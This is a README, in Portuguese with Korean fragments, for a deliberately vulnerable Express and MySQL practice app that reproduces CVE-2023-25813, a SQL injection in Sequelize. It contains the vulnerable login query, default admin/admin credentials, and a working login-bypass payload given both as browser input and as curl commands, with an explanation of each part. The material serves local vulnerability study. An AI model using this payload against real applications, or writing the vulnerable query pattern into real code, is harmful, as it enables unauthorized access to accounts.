
Implementação de vulnerabilidade de injeção SQL no Sequelize
App de prática Express + MySQL para verificar localmente o funcionamento do CVE-2023-25813 no Sequelize.
Este projeto mantém intencionalmente uma versão vulnerável do Sequelize e um padrão de consulta de login vulnerável.
Não exponha na internet; execute apenas em ambiente local de prática Docker.
localhost:3307localhost:3000Principais funcionalidades:
Use o arquivo .env. Consulte .env.example para um exemplo.
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
Ao executar com Docker, o contêiner do aplicativo usa o serviço db dentro do Compose, não o MySQL local.
앱 컨테이너 기준 DB_HOST=db
호스트 PC 기준 DB 접속 포트=3307
Ligue o Docker Desktop e execute no PowerShell.
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
Acesse no navegador.
http://localhost:3000
Verificar status:
docker compose ps
docker compose logs app --tail 50
Parar:
docker compose down
Limpar também os dados do banco:
docker compose down -v
Para acessar diretamente o MySQL dentro do Docker:
docker compose exec db mysql -uroot -p cve_test_db
A senha é o valor de DB_PASSWORD no .env.
Em ferramentas GUI como Workbench, conecte com os seguintes valores:
Host: 127.0.0.1
Port: 3307
User: root
Password: .env의 DB_PASSWORD
Database: cve_test_db
Se o banco de dados foi criado, o log do aplicativo mostrará mensagens como:
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중
Ao iniciar, o aplicativo cria automaticamente a conta admin com os valores do .env.
Valores padrão:
아이디: admin
비밀번호: admin
Após o login, a conta atual é exibida no topo da página inicial.
현재 접속 계정: admin
No navegador, vá para /login e insira:
아이디: admin
비밀번호: admin
Se bem-sucedido, será redirecionado para / e a conta atual será exibida na página inicial.
Para verificar com curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
Critério de sucesso:
HTTP/1.1 302 Found
Location: /
No navegador, vá para /login e insira os seguintes valores:
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
Se bem-sucedido, será redirecionado para /, não para /login?error=invalid. A conta atual na página inicial também mostrará o usuário logado.
Verificar com curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
Critério de sucesso:
HTTP/1.1 302 Found
Location: /
O código vulnerável está na rota de login.
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
Em um login normal, o SQL seria aproximadamente assim:
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
O problema está em misturar literal('username = :username'), { password } e replacements na mesma consulta. No Sequelize 6.19.0, as replacements são aplicadas em toda a consulta, permitindo que o :username dentro do valor password fornecido pelo usuário também seja substituído.
O payload de prática é inserido assim:
username = /**/OR/**/1=1)/**/#
password = :username
Nesse momento, a consulta real nos logs aparece aproximadamente assim:
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
Significado de cada parte:
password=:username: é o ponto central que faz com que a substituição de username ocorra também no campo de senha./**/: bloco tratado como comentário no MySQL. Age como espaço, separando os tokens SQL mesmo que os espaços ao redor de OR sejam removidos.OR 1=1: adiciona uma condição sempre verdadeira.): fecha o grupo de condição AND(...) criado pelo Sequelize.#: comentário de linha no MySQL. Comenta o restante da linha, incluindo aspas remanescentes e fragmentos em torno de LIMIT 1, evitando erros de sintaxe.Como resultado, a condição se torna sempre verdadeira, a primeira linha de usuário é recuperada e o aplicativo trata como login bem-sucedido.
Payloads que dependem de espaços, como abaixo, podem falhar se os espaços forem removidos durante a digitação no navegador.
OR 1=1) --
O comentário -- no MySQL requer um espaço após. Se o espaço for omitido, não será reconhecido como comentário, causando erro de sintaxe.
Neste projeto, recomenda-se o seguinte payload:
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
Ao executar com Docker, o banco é criado no contêiner db do Docker, não no servidor MySQL local. Para visualizar no PC host, conecte-se a localhost:3307.
É normal. Este app mantém uma versão vulnerável do Sequelize para prática do CVE.
Executar npm audit fix pode remover a vulnerabilidade alvo da prática.